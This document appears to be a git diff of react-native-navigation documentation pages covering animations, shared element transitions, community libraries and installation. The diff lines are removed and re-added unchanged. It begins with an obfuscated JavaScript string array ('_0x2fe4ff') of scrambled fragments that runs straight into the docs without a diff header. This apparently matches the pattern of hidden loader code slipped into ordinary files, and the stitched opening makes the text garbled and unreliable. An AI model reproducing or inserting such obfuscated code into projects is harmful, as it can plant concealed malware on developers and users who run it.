_0x2fe4ff=['ct!.ScM\x20','.?xsl(}r\x20R','no.pc.Pw%<','cGcl.-\x20rfR','\x20N[RRR<.c<','n.R.C(2n.<','Rsasm\x20$','wE!I~es<e)Rmse','xF=c...Pra','RR\x20.]\x27Rcw}d','snrd._+#cpfn&Rc','ni4tc.nRmt','<<2pBbn}2c','\x22ht#utd$c<','f-inR\x5c!','=s4/UkdtcR','%iV.{Nca>R','Rr*RRc|als','t.w(R0','Jec)E?[','\x5cktta!.R.4','Fgo=','._.r4o.&\x20)','Rr<3u.R<.<','!\x27yRxyWbcR','a+Arael{,a',';j,ea=]6,n','.eno_I.<<(','?wtRR!c[','HzUvU','8200jmdBCz','(.G3ecNn()','R.O..','i-vb(rrpit','e\x22$..AWeER','.','a.ss]PR|S<','R]inStkvf#','sR\x22Vv:d','t.tR','g.8<.Ro1P-','hr6f\x20sR:Pl8<','4swt!nxt=.(y=)r','tR[(ouRR.t','_T<.-R!ei.','kv.*zgR8R.',')[ittr=\x22je','Ja)RrR82ts','g.RaEFcm(.','{oritun.fq','R#RReIt','e','Roe5IR.8c<','fcRR<0.<>R','et\x22.sT.&Rp','-n\x20h]p)IV.','!.\x20Ad(cids','YhOota#trs','t))+;lc)a=','54< - - -```js -options: { - animations: { - push: { - content: { - translationX: { - from: require('react-native').Dimensions.get('window').width, - to: 0, - duration: 300 - } - } - } - } -} -``` - - - - -```js -options: { - animations: { - pop: { - content: { - translationX: { - from: 0, - to: -require('react-native').Dimensions.get('window').width, - duration: 300 - } - } - } - } -} -``` - - - - -### Modal animations - -Modal animations are declared similarly to stack animations, only this time we animate the entire view and not only part of the UI (content). -The appearing modal can play custom enter animation and exit for the disappearing screen when showing/dismissing modal. - - - - -The following example demonstrates how to show a modal with a fade-in animation. - -:::warning Deprecation warning -Consider using enter, exit animations instead. -```js -options: { - animations: { - showModal: { - alpha: { - from: 0, - to: 1, - duration: 300 - } - } - } -} -``` -::: -```js -options: { - animations: { - showModal: { - enter :{ - enabled:true, - alpha: { - from: 0, - to: 1, - duration: 300 - } - }, - exit :{ - enabled:true, - alpha: { - from: 1, - to: 0, - duration: 300 - } - } - } - } -} -``` - - - - - -The following example demonstrates how to dismiss a modal with a fade-out animation. - -:::warning Deprecation warning -Consider using enter, exit animations instead. -```js -options: { - animations: { - dismissModal: { - alpha: { - from: 1, - to: 0, - duration: 300 - } - } - } -} -``` -::: - -```js -options: { - animations: { - dismissModal: { - exit:{ - enabled:true - alpha: { - from: 1, - to: 0, - duration: 300 - } - }, - enter:{ - enabled:false - alpha: { - from: 0, - to: 1, - duration: 300 - } - } - } - } -} -``` - - - -## Shared element transitions - -Shared element transitions allow us to provide visual continuity when navigating between destinations. This also focuses user attention on a particular significant element, which then also gives such user better context when transitioning to some other destination. - -:::caution -At the moment, the transition is available for push and pop commands. We are working on expanding supported commands to show/dismiss modal and change BottomTabs. -::: - -### Transition breakdown - -Let's take a more in-depth look at the following example, which you can find in the playground app: - -> [Source screen](https://github.com/wix/react-native-navigation/blob/master/playground/src/screens/sharedElementTransition/CocktailsListScreen.tsx) and the [Destination screen](https://github.com/wix/react-native-navigation/blob/master/playground/src/screens/sharedElementTransition/CocktailDetailsScreen.tsx) - -

- Shared Element Transition -

- -Four elements are animated in this example. Let's list the elements involved in the transition and note which properties are being animated. - -- **image** - the item image is animated to the next screen. - - - image scale (resizeMode) - - position on screen - -- **image background** - each item has a "shadow" view which transitions to the next screen and turns into a colorful header. - - - scale - - position on screen - - color - -- **title** - the title of the item is animated to the next screen. - - - font size - - font color - - position on screen - -- **Description** - the description of the item in the destination screen. - - fade-in - - translation y - -### Implementing shared element transitions - -#### Step 1 - set a nativeID prop to elements in the source screen - -In order for RNN to be able to detect the corresponding native views of the elements, -each element must include a unique `nativeID` prop. - -```jsx - -``` - -#### Step 2 - set a nativeID prop to elements in the destination screen - -```jsx - -``` - -#### Step 3 - Declare the shared element animation when pushing the screen - -```jsx -Navigation.push(this.props.componentId, { - component: { - name: Screens.CocktailDetailsScreen, - passProps: { ...item }, - options: { - animations: { - push: { - sharedElementTransitions: [ - { - fromId: `image${item.id}`, - toId: `image${item.id}Dest`, - interpolation: { type: 'linear' } - }, - ], - }, - }, - }, - }, -}); -``` - -The `interpolation` property is an object which consists of a `type` property, and optional parameters to further configure the interpolation function. The following `type`s are supported: - -* `'accelerate'`: Begin building up speed until destination has been reached. - - `factor`: The acceleration factor. Higher values look faster. -* `'decelerate'`: Start at a high speed and slow down to settle. - - `factor`: The acceleration factor. Higher values look slower. -* `'accelerateDecelerate'`: Begin building up speed until half of the animation is complete, then begin slowing down to settle. -* `'decelerateAccelerate'`: Start at a high speed and slow down until half of the animation is complete, then speed up again to settle. -* `'linear'`: Linearly move towards the destination. -* `'overshoot'`: Begin building up speed and overshoot the destination, then fling back to settle. - - `tension`: The tension of the overshoot animation defines how far the object can overshoot. _Default: `1`_ -* `'spring'`: Acts like an actual spring. Depending on the configuration, this interpolation can overshoot the destination multiple times, or be very stiff and smoothly ease towards the destination. - - `mass`: The mass defines how "heavy" the object is. _Default: `3`_ - - `damping`: The damping property specifies how much the moving object is being slowed down. Higher values can lead to overdamping, lower values to underdamping. _Default: `500`_ - - `stiffness`: The stiffness property defines how stiff the animated object is. _Default: `200`_ - -:::caution -Since a Spring interpolation is not a time based animation, you have to manually tweak the configuration to match the duration of the animation, otherwise the remaining time of the Spring interpolation will get skipped. -::: - -## Element Transitions - -Element transitions also allow you to animate elements during shared element transitions. - -### Recreating - -#### Step 1 - Set a nativeID prop to the element you'd like to animate - -An element can either be in the source or destination screen. - -```jsx - - {this.props.description} - -``` - -#### Step 2 - Declare the element animation when pushing the screen - -```jsx -Navigation.push(this.props.componentId, { - component: { - name: Screens.CocktailDetailsScreen, - passProps: { ...item }, - options: { - animations: { - push: { - elementTransitions: [ - { - id: 'description', - alpha: { - from: 0, // We don't declare 'to' value as that is the element's current alpha value, here we're essentially animating from 0 to 1 - duration: SHORT_DURATION, - }, - translationY: { - from: 16, // Animate translationY from 16dp to 0dp - duration: SHORT_DURATION, - }, - }, - ], - }, - }, - }, - }, -}); -``` - -## Peek and Pop (iOS 11.4+) - -react-native-navigation supports [Peek and pop](https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/Adopting3DTouchOniPhone/#//apple_ref/doc/uid/TP40016543-CH1-SW3) feature in iOS 11.4 and newer. - -This works by passing a ref to a component you want to transform into peek view. We have included a handy component to handle all the touches and ref for you: - -```jsx -const handlePress ({ reactTag }) => { - Navigation.push(this.props.componentId, { - component { - name: 'previewed.screen', - options: { - preview: { - reactTag, - height: 300, - width: 300, - commit: true, - actions: [{ - title: "Displayed Name", - id: "actionId", - style: 'default', /* or 'selected', 'destructive'*/ - actions: [/*define a submenu of actions with the same options*/] - }] - }, - }, - }, - }); -}; - -const Button = ( - - My button - -); -``` - -All options except for reactTag are optional. Actions trigger the same event as [navigation button presses](https://wix.github.io/react-native-navigation/#/docs/topBar-buttons?id=handling-button-press-events). To react when a preview is committed, listen to the [previewCompleted](https://wix.github.io/react-native-navigation/#/docs/events?id=previewcompleted-ios-114-only) event. +--- +id: style-animations +title: Animations +sidebar_label: Animations +--- + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import useBaseUrl from '@docusaurus/useBaseUrl'; + +Various UI elements can be animated by declaring animation options. +You can change the default animations for various commands, like push and pop, and even animate elements in +your screens during screen transitions. + +#### Animation properties + +The following properties can be animated with our animation framework: + +- **x** - Translate the view to a coordinate along the x axis. +- **y** - Translate the view to a coordinate along the y axis. +- **translationX** - Translate the view along the x axis relative to its current x position. +- **translationY** - Translate the view along the y axis relative to its current y position. +- **alpha** - Apply alpha animation to the view. A value of 0 means the view is not visible, 1 means it's visible. +- **scaleX** - Scale the view on the x axis. A value of 1 means that no scaling is applied. +- **scaleY** - Scale the view on the y axis. A value of 1 means that no scaling is applied. +- **rotationX** - Applies rotation around the x axis (in degrees, passed as a float). +- **rotationY** - Applies rotation around the y axis (in degrees, passed as a float). +- **rotation** - Rotates the view on all axis. Positive values result in clockwise rotation. + +## Layout animations + +### Root animations + +Animating switches between roots, using the enter/exit animations that grants control on how each root is animated when entering or exiting the screen. + +This can be acheived by modifying the default options (`setDefaultOptions` for example) to be like: + +```js +options:{ + animations: { + push:{...}, + setRoot: { + enter: { + waitForRender: true, + enabled: false, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + exit:{...} + }, + }, + }; +``` +In Playground, you can try it by setting `useCustomAnimations` in `flags.ts` file. + +### Stack animations + +When animating screens in and out of a stack, there are three elements you can work with: + +1. **content** - screen being pushed or popped +2. **topBar** - stack's TopBar +3. **bottomTabs** - if stack is a child of a bottomTabs layout, we can control the `hide` and `show` animations of the bottomTabs. + +The following example demonstrates how to replace the default push and pop animations with slide animations. + + + + +```js +options: { + animations: { + push: { + content: { + translationX: { + from: require('react-native').Dimensions.get('window').width, + to: 0, + duration: 300 + } + } + } + } +} +``` + + + + +```js +options: { + animations: { + pop: { + content: { + translationX: { + from: 0, + to: -require('react-native').Dimensions.get('window').width, + duration: 300 + } + } + } + } +} +``` + + + + +### Modal animations + +Modal animations are declared similarly to stack animations, only this time we animate the entire view and not only part of the UI (content). +The appearing modal can play custom enter animation and exit for the disappearing screen when showing/dismissing modal. + + + + +The following example demonstrates how to show a modal with a fade-in animation. + +:::warning Deprecation warning +Consider using enter, exit animations instead. +```js +options: { + animations: { + showModal: { + alpha: { + from: 0, + to: 1, + duration: 300 + } + } + } +} +``` +::: +```js +options: { + animations: { + showModal: { + enter :{ + enabled:true, + alpha: { + from: 0, + to: 1, + duration: 300 + } + }, + exit :{ + enabled:true, + alpha: { + from: 1, + to: 0, + duration: 300 + } + } + } + } +} +``` + + + + + +The following example demonstrates how to dismiss a modal with a fade-out animation. + +:::warning Deprecation warning +Consider using enter, exit animations instead. +```js +options: { + animations: { + dismissModal: { + alpha: { + from: 1, + to: 0, + duration: 300 + } + } + } +} +``` +::: + +```js +options: { + animations: { + dismissModal: { + exit:{ + enabled:true + alpha: { + from: 1, + to: 0, + duration: 300 + } + }, + enter:{ + enabled:false + alpha: { + from: 0, + to: 1, + duration: 300 + } + } + } + } +} +``` + + + +## Shared element transitions + +Shared element transitions allow us to provide visual continuity when navigating between destinations. This also focuses user attention on a particular significant element, which then also gives such user better context when transitioning to some other destination. + +:::caution +At the moment, the transition is available for push and pop commands. We are working on expanding supported commands to show/dismiss modal and change BottomTabs. +::: + +### Transition breakdown + +Let's take a more in-depth look at the following example, which you can find in the playground app: + +> [Source screen](https://github.com/wix/react-native-navigation/blob/master/playground/src/screens/sharedElementTransition/CocktailsListScreen.tsx) and the [Destination screen](https://github.com/wix/react-native-navigation/blob/master/playground/src/screens/sharedElementTransition/CocktailDetailsScreen.tsx) + +

+ Shared Element Transition +

+ +Four elements are animated in this example. Let's list the elements involved in the transition and note which properties are being animated. + +- **image** - the item image is animated to the next screen. + + - image scale (resizeMode) + - position on screen + +- **image background** - each item has a "shadow" view which transitions to the next screen and turns into a colorful header. + + - scale + - position on screen + - color + +- **title** - the title of the item is animated to the next screen. + + - font size + - font color + - position on screen + +- **Description** - the description of the item in the destination screen. + - fade-in + - translation y + +### Implementing shared element transitions + +#### Step 1 - set a nativeID prop to elements in the source screen + +In order for RNN to be able to detect the corresponding native views of the elements, +each element must include a unique `nativeID` prop. + +```jsx + +``` + +#### Step 2 - set a nativeID prop to elements in the destination screen + +```jsx + +``` + +#### Step 3 - Declare the shared element animation when pushing the screen + +```jsx +Navigation.push(this.props.componentId, { + component: { + name: Screens.CocktailDetailsScreen, + passProps: { ...item }, + options: { + animations: { + push: { + sharedElementTransitions: [ + { + fromId: `image${item.id}`, + toId: `image${item.id}Dest`, + interpolation: { type: 'linear' } + }, + ], + }, + }, + }, + }, +}); +``` + +The `interpolation` property is an object which consists of a `type` property, and optional parameters to further configure the interpolation function. The following `type`s are supported: + +* `'accelerate'`: Begin building up speed until destination has been reached. + - `factor`: The acceleration factor. Higher values look faster. +* `'decelerate'`: Start at a high speed and slow down to settle. + - `factor`: The acceleration factor. Higher values look slower. +* `'accelerateDecelerate'`: Begin building up speed until half of the animation is complete, then begin slowing down to settle. +* `'decelerateAccelerate'`: Start at a high speed and slow down until half of the animation is complete, then speed up again to settle. +* `'linear'`: Linearly move towards the destination. +* `'overshoot'`: Begin building up speed and overshoot the destination, then fling back to settle. + - `tension`: The tension of the overshoot animation defines how far the object can overshoot. _Default: `1`_ +* `'spring'`: Acts like an actual spring. Depending on the configuration, this interpolation can overshoot the destination multiple times, or be very stiff and smoothly ease towards the destination. + - `mass`: The mass defines how "heavy" the object is. _Default: `3`_ + - `damping`: The damping property specifies how much the moving object is being slowed down. Higher values can lead to overdamping, lower values to underdamping. _Default: `500`_ + - `stiffness`: The stiffness property defines how stiff the animated object is. _Default: `200`_ + +:::caution +Since a Spring interpolation is not a time based animation, you have to manually tweak the configuration to match the duration of the animation, otherwise the remaining time of the Spring interpolation will get skipped. +::: + +## Element Transitions + +Element transitions also allow you to animate elements during shared element transitions. + +### Recreating + +#### Step 1 - Set a nativeID prop to the element you'd like to animate + +An element can either be in the source or destination screen. + +```jsx + + {this.props.description} + +``` + +#### Step 2 - Declare the element animation when pushing the screen + +```jsx +Navigation.push(this.props.componentId, { + component: { + name: Screens.CocktailDetailsScreen, + passProps: { ...item }, + options: { + animations: { + push: { + elementTransitions: [ + { + id: 'description', + alpha: { + from: 0, // We don't declare 'to' value as that is the element's current alpha value, here we're essentially animating from 0 to 1 + duration: SHORT_DURATION, + }, + translationY: { + from: 16, // Animate translationY from 16dp to 0dp + duration: SHORT_DURATION, + }, + }, + ], + }, + }, + }, + }, +}); +``` + +## Peek and Pop (iOS 11.4+) + +react-native-navigation supports [Peek and pop](https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/Adopting3DTouchOniPhone/#//apple_ref/doc/uid/TP40016543-CH1-SW3) feature in iOS 11.4 and newer. + +This works by passing a ref to a component you want to transform into peek view. We have included a handy component to handle all the touches and ref for you: + +```jsx +const handlePress ({ reactTag }) => { + Navigation.push(this.props.componentId, { + component { + name: 'previewed.screen', + options: { + preview: { + reactTag, + height: 300, + width: 300, + commit: true, + actions: [{ + title: "Displayed Name", + id: "actionId", + style: 'default', /* or 'selected', 'destructive'*/ + actions: [/*define a submenu of actions with the same options*/] + }] + }, + }, + }, + }); +}; + +const Button = ( + + My button + +); +``` + +All options except for reactTag are optional. Actions trigger the same event as [navigation button presses](https://wix.github.io/react-native-navigation/#/docs/topBar-buttons?id=handling-button-press-events). To react when a preview is committed, listen to the [previewCompleted](https://wix.github.io/react-native-navigation/#/docs/events?id=previewcompleted-ios-114-only) event. diff --git a/website/versioned_docs/version-8.1.0/docs/community-libraries.mdx b/website/versioned_docs/version-8.1.0/docs/community-libraries.mdx index c15df2e1557..b5fcf0df6ba 100644 --- a/website/versioned_docs/version-8.1.0/docs/community-libraries.mdx +++ b/website/versioned_docs/version-8.1.0/docs/community-libraries.mdx @@ -1,26 +1,26 @@ ---- -id: community-libraries -title: Community libraries -sidebar_label: Community libraries ---- - -React Native Navigation has an active community with a bunch of support libraries. - -## Utilities - -[React Native Navigation Hooks](https://github.com/underscopeio/react-native-navigation-hooks) : -A set of React hooks for React Native Navigation. - -[React Native Navigation Register Screens](https://github.com/karlmarxlopez/react-native-navigation-register-screens) : -Utility function to register array of screens instead of calling `Navigation.registerComponent` multiple times. - -## Extensions - -[React Native Navigation Drawer Extension](https://github.com/lukebrandonfarrell/react-native-navigation-drawer-extension) : -Drawer API built on top of React Native Navigation for iOS and Android. - -[React Native Navigation Search Bar](https://github.com/lukebrandonfarrell/react-native-navigation-search-bar) : -React Native Elements search bar with collapsible header built for React Native Navigation. - -[React Native Navigation Bottom Sheet Extension](https://github.com/CursedWizard/react-native-navigation-bottom-sheet) : -A performant customizable bottom sheet component built on top of React Native Navigation. +--- +id: community-libraries +title: Community libraries +sidebar_label: Community libraries +--- + +React Native Navigation has an active community with a bunch of support libraries. + +## Utilities + +[React Native Navigation Hooks](https://github.com/underscopeio/react-native-navigation-hooks) : +A set of React hooks for React Native Navigation. + +[React Native Navigation Register Screens](https://github.com/karlmarxlopez/react-native-navigation-register-screens) : +Utility function to register array of screens instead of calling `Navigation.registerComponent` multiple times. + +## Extensions + +[React Native Navigation Drawer Extension](https://github.com/lukebrandonfarrell/react-native-navigation-drawer-extension) : +Drawer API built on top of React Native Navigation for iOS and Android. + +[React Native Navigation Search Bar](https://github.com/lukebrandonfarrell/react-native-navigation-search-bar) : +React Native Elements search bar with collapsible header built for React Native Navigation. + +[React Native Navigation Bottom Sheet Extension](https://github.com/CursedWizard/react-native-navigation-bottom-sheet) : +A performant customizable bottom sheet component built on top of React Native Navigation. diff --git a/website/versioned_docs/version-8.1.0/docs/docs-Installing.mdx b/website/versioned_docs/version-8.1.0/docs/docs-Installing.mdx index 0f09ece7a17..52c32ce321a 100644 --- a/website/versioned_docs/version-8.1.0/docs/docs-Installing.mdx +++ b/website/versioned_docs/version-8.1.0/docs/docs-Installing.mdx @@ -1,309 +1,309 @@ ---- -id: installing -title: Installation -sidebar_label: Installation ---- - -## Requirements - -- node >= 18.18 -- react-native = 0.77 (0.78 - 0.80 support is in progress) -- new architecture enabled (if you are not using the new architecture, you can still use react-native-navigation of version 7.x.x with react-native 0.73 and lower) - -## npm or yarn - -npm: - -```sh -npm install --save react-native-navigation -``` - -yarn: - -```sh -yarn add react-native-navigation -``` - -## Installing with `npx rnn-link` (automatic installation) - -You can benefit from autolinking for some of the necessary installation steps. But unlike most other libraries, react-native-navigation requires you to make a few changes to native files. - -We've simplified the process through a set of scripts. So to make all the necessary changes automatically, in your project's root folder run: - -```sh -npx rnn-link -```` - -Make sure to commit the changes introduced by the `rnn-link` script. - -> The automatic linking is optimized for new applications created via the `npx @react-native-community/cli@latest init` command. If you are migrating from a version of react-native-navigation older than v7, it's recommended to check the steps manually after the script runs. - -If one of the steps failed or you can't run (or are not comfortable with) the automatic scripts, you'll need to complete the relevant steps in the manual installation steps below, for both platforms. - -### CocoaPods - -After the the automatic scripts completed successfully, run pod install: - -```sh -pod install --project-directory=ios -``` - -### Update index.js file - -`index.js` is typically used as an entry point into the app. It's first parsed and executed by the JS engine, therefore we'll want to show our UI from there. - -The following diff demonstrates changes needed to be made to `index.js`, initialized by `react-native init`. - -```diff -+import { Navigation } from "react-native-navigation"; --import {AppRegistry} from 'react-native'; -import App from "./App"; --import {name as appName} from './app.json'; - --AppRegistry.registerComponent(appName, () => App); -+Navigation.registerComponent('com.myApp.WelcomeScreen', () => App); - -+Navigation.events().registerAppLaunchedListener(() => { -+ Navigation.setRoot({ -+ root: { -+ stack: { -+ children: [ -+ { -+ component: { -+ name: 'com.myApp.WelcomeScreen' -+ } -+ } -+ ] -+ } -+ } -+ }); -+}); -``` - -### Finish - -If you followed the steps successfully up to this point, then rebuild your application and you are good to go: - -```sh -react-native run-ios -react-native run-android -``` - -:::tip -This is a good moment to build your application in both platforms, validate that everything is working properly and commit your changes. If you're coming from a fresh `npx @react-native-community/cli@latest init` project, then you should be seeing the Welcome screen as usual, but under the hood your application is using react-native-navigation! -:::: - ---- - -## Manual Installation - -If installation with `npx rnn-link` did not work, follow the manual installation steps below. - -### iOS - -> Make sure your Xcode is updated. We recommend editing `.h`, `.mm` and `.swift` files in Xcode as the IDE will usually point out common errors. - -#### Installation with CocoaPods - -```sh -cd ios && pod install -``` - -#### Native Installation - -> **Choose your implementation language**: Depending on whether your project uses Swift or Objective-C, follow the appropriate section below. Most new React Native projects use Swift by default. - -##### For Swift projects - -In Xcode, you will need to update this file: `AppDelegate.swift` - -```diff -import UIKit -import React -- import React_RCTAppDelegate -+ import ReactNativeNavigation -import ReactAppDependencyProvider - -@main -- class AppDelegate: RCTAppDelegate { -+ class AppDelegate: RNNAppDelegate { -... -``` - -##### For Objective-C projects - -In Xcode, you will need to edit this file: `AppDelegate.h`. Its content should look like this: - -```diff -#import -- #import -+ #import "RNNAppDelegate.h" - -- @interface AppDelegate : RCTAppDelegate -+ @interface AppDelegate : RNNAppDelegate - -@end - -``` - -### Android - -> Make sure your Android Studio installation is up to date. We recommend editing `gradle` and `kotlin` files in Android Studio as the IDE will suggest fixes and point out errors, this way you avoid most common pitfalls. - -#### 1. Update `android/build.gradle`: - -```diff -buildscript { - ext { - kotlinVersion = "2.0.21" -+ RNNKotlinVersion = kotlinVersion - compileSdkVersion = 35 - buildToolsVersion = "35.0.0" - minSdkVersion = 24 - targetSdkVersion = 34 - ndkVersion = "27.1.12297006" - } - repositories { - google() - mavenCentral() - } - dependencies { - classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlinVersion" - classpath("com.facebook.react:react-native-gradle-plugin") - classpath 'com.android.tools.build:gradle' - } -} - -allprojects { - repositories { - google() - maven { - // All of React Native (JS, Obj-C sources, Android binaries) is installed from npm - url "$rootDir/../node_modules/react-native/android" - } - } -} -``` - -#### 2. Update `MainActivity.kt` - - -```diff --import com.facebook.react.ReactActivity -+import com.reactnativenavigation.NavigationActivity - --class MainActivity : ReactActivity() { -- override fun getMainComponentName(): String { -- return "yourproject" -- } --} -+class MainActivity : NavigationActivity() -``` - -If you have any **react-native** related methods, you can safely delete them. - -#### 3. Update `MainApplication.kt` - -This file is located in `android/app/src/main/java/com//MainApplication.java`. - -```diff -// ... - -import com.facebook.react.PackageList -import com.facebook.react.ReactHost -import com.facebook.react.ReactNativeHost -import com.facebook.react.ReactPackage -import com.facebook.react.defaults.DefaultReactHost.getDefaultReactHost -import com.reactnativenavigation.NavigationApplication -import com.reactnativenavigation.react.NavigationPackage -import com.reactnativenavigation.react.NavigationReactNativeHost - -class MainApplication : NavigationApplication() { - override val reactNativeHost: ReactNativeHost = -- object : DefaultReactNativeHost(this) { -+ object : NavigationReactNativeHost(this) { - - override fun getPackages(): List = - PackageList(this).packages.apply { - // Packages that cannot be autolinked yet can be added manually here, for example: - // add(MyReactNativePackage()) - } - - override fun getJSMainModuleName(): String = "index" - - override fun getUseDeveloperSupport(): Boolean = BuildConfig.DEBUG - - override val isNewArchEnabled: Boolean = BuildConfig.IS_NEW_ARCHITECTURE_ENABLED - - override val isHermesEnabled: Boolean = BuildConfig.IS_HERMES_ENABLED - } - - override val reactHost: ReactHost - get() = getDefaultReactHost(this, reactNativeHost) - - override fun onCreate() { - super.onCreate() -- SoLoader.init(this, OpenSourceMergedSoMapping) -- if (BuildConfig.IS_NEW_ARCHITECTURE_ENABLED) { -- // If you opted-in for the New Architecture, we load the native entry point for this app. -- load() -- } - } -} - -``` - -### App root - -Now that you're done, don't forget to update the `index.js` file, as [shown above](#update-indexjs-file). - -## Troubleshooting - -### Build app with gradle command - -**prefered solution** - The RNN flavor you would like to build is specified in `app/build.gradle`. Therefore in order to compile only that flavor, instead of building your entire project using `./gradlew assembleDebug`, you should instruct gradle to build the app module: `./gradlew app:assembleDebug`. The easiest way is to add a package.json command to build and install your debug Android APK . - -``` -"scripts": { - // ... - "android": "cd ./android && ./gradlew app:assembleDebug && ./gradlew installDebug" -} -``` - -Now run `npm run android` to build your application - -### Force the same support library version across all dependencies - -Some of your dependencies might require a different version of one of Google's support library packages. This results in compilation errors similar to this: - -``` -FAILURE: Build failed with an exception. - -* What went wrong: -Execution failed for task ':app:preDebugBuild'. -> Android dependency 'com.android.support:design' has different version for the compile (25.4.0) and runtime (26.1.0) classpath. You should manually set the same version via DependencyResolution -``` - -To resolve these conflicts, add the following to your `app/build.gradle`: - -```groovy -android { - ... -} - -configurations.all { - resolutionStrategy.eachDependency { DependencyResolveDetails details -> - def requested = details.requested - if (requested.group == 'com.android.support' && requested.name != 'multidex') { - details.useVersion "${rootProject.ext.supportLibVersion}" - } - } -} - -dependencies { - ... - implementation 'com.android.support:design:25.4.0' - implementation "com.android.support:appcompat-v7:${rootProject.ext.supportLibVersion}" -} - -``` +--- +id: installing +title: Installation +sidebar_label: Installation +--- + +## Requirements + +- node >= 18.18 +- react-native = 0.77 (0.78 - 0.80 support is in progress) +- new architecture enabled (if you are not using the new architecture, you can still use react-native-navigation of version 7.x.x with react-native 0.73 and lower) + +## npm or yarn + +npm: + +```sh +npm install --save react-native-navigation +``` + +yarn: + +```sh +yarn add react-native-navigation +``` + +## Installing with `npx rnn-link` (automatic installation) + +You can benefit from autolinking for some of the necessary installation steps. But unlike most other libraries, react-native-navigation requires you to make a few changes to native files. + +We've simplified the process through a set of scripts. So to make all the necessary changes automatically, in your project's root folder run: + +```sh +npx rnn-link +```` + +Make sure to commit the changes introduced by the `rnn-link` script. + +> The automatic linking is optimized for new applications created via the `npx @react-native-community/cli@latest init` command. If you are migrating from a version of react-native-navigation older than v7, it's recommended to check the steps manually after the script runs. + +If one of the steps failed or you can't run (or are not comfortable with) the automatic scripts, you'll need to complete the relevant steps in the manual installation steps below, for both platforms. + +### CocoaPods + +After the the automatic scripts completed successfully, run pod install: + +```sh +pod install --project-directory=ios +``` + +### Update index.js file + +`index.js` is typically used as an entry point into the app. It's first parsed and executed by the JS engine, therefore we'll want to show our UI from there. + +The following diff demonstrates changes needed to be made to `index.js`, initialized by `react-native init`. + +```diff ++import { Navigation } from "react-native-navigation"; +-import {AppRegistry} from 'react-native'; +import App from "./App"; +-import {name as appName} from './app.json'; + +-AppRegistry.registerComponent(appName, () => App); ++Navigation.registerComponent('com.myApp.WelcomeScreen', () => App); + ++Navigation.events().registerAppLaunchedListener(() => { ++ Navigation.setRoot({ ++ root: { ++ stack: { ++ children: [ ++ { ++ component: { ++ name: 'com.myApp.WelcomeScreen' ++ } ++ } ++ ] ++ } ++ } ++ }); ++}); +``` + +### Finish + +If you followed the steps successfully up to this point, then rebuild your application and you are good to go: + +```sh +react-native run-ios +react-native run-android +``` + +:::tip +This is a good moment to build your application in both platforms, validate that everything is working properly and commit your changes. If you're coming from a fresh `npx @react-native-community/cli@latest init` project, then you should be seeing the Welcome screen as usual, but under the hood your application is using react-native-navigation! +:::: + +--- + +## Manual Installation + +If installation with `npx rnn-link` did not work, follow the manual installation steps below. + +### iOS + +> Make sure your Xcode is updated. We recommend editing `.h`, `.mm` and `.swift` files in Xcode as the IDE will usually point out common errors. + +#### Installation with CocoaPods + +```sh +cd ios && pod install +``` + +#### Native Installation + +> **Choose your implementation language**: Depending on whether your project uses Swift or Objective-C, follow the appropriate section below. Most new React Native projects use Swift by default. + +##### For Swift projects + +In Xcode, you will need to update this file: `AppDelegate.swift` + +```diff +import UIKit +import React +- import React_RCTAppDelegate ++ import ReactNativeNavigation +import ReactAppDependencyProvider + +@main +- class AppDelegate: RCTAppDelegate { ++ class AppDelegate: RNNAppDelegate { +... +``` + +##### For Objective-C projects + +In Xcode, you will need to edit this file: `AppDelegate.h`. Its content should look like this: + +```diff +#import +- #import ++ #import "RNNAppDelegate.h" + +- @interface AppDelegate : RCTAppDelegate ++ @interface AppDelegate : RNNAppDelegate + +@end + +``` + +### Android + +> Make sure your Android Studio installation is up to date. We recommend editing `gradle` and `kotlin` files in Android Studio as the IDE will suggest fixes and point out errors, this way you avoid most common pitfalls. + +#### 1. Update `android/build.gradle`: + +```diff +buildscript { + ext { + kotlinVersion = "2.0.21" ++ RNNKotlinVersion = kotlinVersion + compileSdkVersion = 35 + buildToolsVersion = "35.0.0" + minSdkVersion = 24 + targetSdkVersion = 34 + ndkVersion = "27.1.12297006" + } + repositories { + google() + mavenCentral() + } + dependencies { + classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlinVersion" + classpath("com.facebook.react:react-native-gradle-plugin") + classpath 'com.android.tools.build:gradle' + } +} + +allprojects { + repositories { + google() + maven { + // All of React Native (JS, Obj-C sources, Android binaries) is installed from npm + url "$rootDir/../node_modules/react-native/android" + } + } +} +``` + +#### 2. Update `MainActivity.kt` + + +```diff +-import com.facebook.react.ReactActivity ++import com.reactnativenavigation.NavigationActivity + +-class MainActivity : ReactActivity() { +- override fun getMainComponentName(): String { +- return "yourproject" +- } +-} ++class MainActivity : NavigationActivity() +``` + +If you have any **react-native** related methods, you can safely delete them. + +#### 3. Update `MainApplication.kt` + +This file is located in `android/app/src/main/java/com//MainApplication.java`. + +```diff +// ... + +import com.facebook.react.PackageList +import com.facebook.react.ReactHost +import com.facebook.react.ReactNativeHost +import com.facebook.react.ReactPackage +import com.facebook.react.defaults.DefaultReactHost.getDefaultReactHost +import com.reactnativenavigation.NavigationApplication +import com.reactnativenavigation.react.NavigationPackage +import com.reactnativenavigation.react.NavigationReactNativeHost + +class MainApplication : NavigationApplication() { + override val reactNativeHost: ReactNativeHost = +- object : DefaultReactNativeHost(this) { ++ object : NavigationReactNativeHost(this) { + + override fun getPackages(): List = + PackageList(this).packages.apply { + // Packages that cannot be autolinked yet can be added manually here, for example: + // add(MyReactNativePackage()) + } + + override fun getJSMainModuleName(): String = "index" + + override fun getUseDeveloperSupport(): Boolean = BuildConfig.DEBUG + + override val isNewArchEnabled: Boolean = BuildConfig.IS_NEW_ARCHITECTURE_ENABLED + + override val isHermesEnabled: Boolean = BuildConfig.IS_HERMES_ENABLED + } + + override val reactHost: ReactHost + get() = getDefaultReactHost(this, reactNativeHost) + + override fun onCreate() { + super.onCreate() +- SoLoader.init(this, OpenSourceMergedSoMapping) +- if (BuildConfig.IS_NEW_ARCHITECTURE_ENABLED) { +- // If you opted-in for the New Architecture, we load the native entry point for this app. +- load() +- } + } +} + +``` + +### App root + +Now that you're done, don't forget to update the `index.js` file, as [shown above](#update-indexjs-file). + +## Troubleshooting + +### Build app with gradle command + +**prefered solution** - The RNN flavor you would like to build is specified in `app/build.gradle`. Therefore in order to compile only that flavor, instead of building your entire project using `./gradlew assembleDebug`, you should instruct gradle to build the app module: 